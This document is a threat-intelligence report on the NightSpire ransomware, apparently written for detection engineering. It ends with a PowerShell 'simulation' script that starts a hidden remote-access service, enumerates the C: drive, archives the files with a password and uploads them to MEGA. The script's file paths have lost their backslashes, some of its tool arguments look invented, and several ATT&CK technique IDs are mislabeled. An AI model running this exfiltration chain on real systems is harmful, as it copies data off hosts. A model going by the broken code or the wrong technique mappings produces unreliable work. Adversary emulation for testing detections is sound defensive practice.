NightSpire Ransomware Attack Chain, Tools and Tactics

Summary

NightSpire is a Go-based ransomware family first observed in early 2025 that uses a double-extortion model, stealing data before encryption and threatening to publish it on a Tor-based leak site. The ransomware appends a .nspire extension to encrypted files and places ransom notes in each affected directory, including folders tied to OneDrive. Its operators rely on legitimate remote administration tools to maintain access and use publicly available utilities for discovery, archiving, and exfiltration. Between March and June 2025, the campaign impacted at least 64 organizations across 33 countries.

Investigation

The investigation showed that attackers commonly gained initial access through exposed RDP and then installed Chrome Remote Desktop and AnyDesk as persistent services. They used Everything to quickly locate files, 7-Zip to build password-protected archives, and MEGAsync to upload stolen data to MEGA cloud storage. The Go-based encryptor ran under conhost.exe, enumerated all available drives, and encrypted files while leaving OneDrive filenames unchanged. The extortion phase relied on a Tor-hosted leak site used to pressure victims after exfiltration.

Mitigation

Organizations should reduce or eliminate direct RDP exposure, monitor for unexpected deployment of legitimate remote administration tools as services, and apply application allow-listing to binaries such as Chrome Remote Desktop and AnyDesk. Behavioral detections should focus on mass file enumeration, archive creation, and unusual uploads to cloud storage services. Regular backups and tested recovery procedures remain essential, and network controls should block known MEGA upload endpoints. Defenses can also be validated through controlled ransomware simulation exercises such as those offered by Picus.

Response

If NightSpire activity is detected, isolate the affected endpoint immediately, terminate the encryptor process, and collect volatile memory for analysis. Disable any malicious services, remove persisted remote access tools, and block related network communication. Recovery should proceed from trusted backups, and relevant stakeholders should be notified. The incident should also be reported to law enforcement, while defenders continue monitoring the associated Tor leak site for signs of published data.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Persistence Setup (T1547 / T1219): Install Chrome Remote Desktop (default path) and start its service to obtain persistent remote control.
  2. Discovery (T1083): Use Everything.exe to enumerate all files on the C: drive, saving the output to a temporary list.
  3. Archiving (T1037 / T1083): Invoke 7‑Zip to compress the discovered files into a password‑protected archive.
  4. Exfiltration (T1219.003): Launch MEGAsync to upload the archive to a MEGA account.

  The sequence ensures that selection_remote_access (Chrome Remote Desktop) is active while at least one of selection_discovery, selection_archive, or selection_exfiltration occurs, satisfying the rule’s condition.

• Regression Test Script:

  # -------------------------------------------------------------------------
  # NightSpire Lateral Persistence & Exfiltration Simulation
  # -------------------------------------------------------------------------
  # Prerequisites:
  #   - Chrome Remote Desktop installed at default path
  #   - Everything.exe installed at default path
  #   - 7z.exe installed at default path
  #   - MEGAsync installed at default user profile path
  # -------------------------------------------------------------------------
  
  # 1. Ensure Chrome Remote Desktop service is running (simulates persistence)
  $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe"
  if (Test-Path $crdPath) {
      Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden
      Write-Host "Chrome Remote Desktop service started."
  } else {
      Write-Error "Chrome Remote Desktop not found at $crdPath"
      exit 1
  }
  
  # 2. File discovery with Everything
  $everythingPath = "$Env:ProgramFilesEverythingEverything.exe"
  $discoveryOutput = "$env:TEMPfilelist.txt"
  if (Test-Path $everythingPath) {
      & $everythingPath -search "C:" -output $discoveryOutput
      Write-Host "Discovery completed, results saved to $discoveryOutput"
  } else {
      Write-Error "Everything.exe not found at $everythingPath"
      exit 1
  }
  
  # 3. Archive the discovered files with 7‑Zip
  $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe"
  $archivePath   = "$env:TEMPexfil_archive.zip"
  if (Test-Path $sevenZipPath) {
      & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!"
      Write-Host "Archive created at $archivePath"
  } else {
      Write-Error "7z.exe not found at $sevenZipPath"
      exit 1
  }
  
  # 4. Upload archive via MEGAsync (exfiltration)
  $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe"
  if (Test-Path $megaPath) {
      & $megaPath --upload $archivePath
      Write-Host "Upload initiated via MEGAsync."
  } else {
      Write-Error "MEGAsync.exe not found at $megaPath"
      exit 1
  }
  
  # End of simulation

• Cleanup Commands:

  # Stop Chrome Remote Desktop service
  Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue
  
  # Remove temporary files
  Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue
  
  # Optionally stop MEGAsync if running
  Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue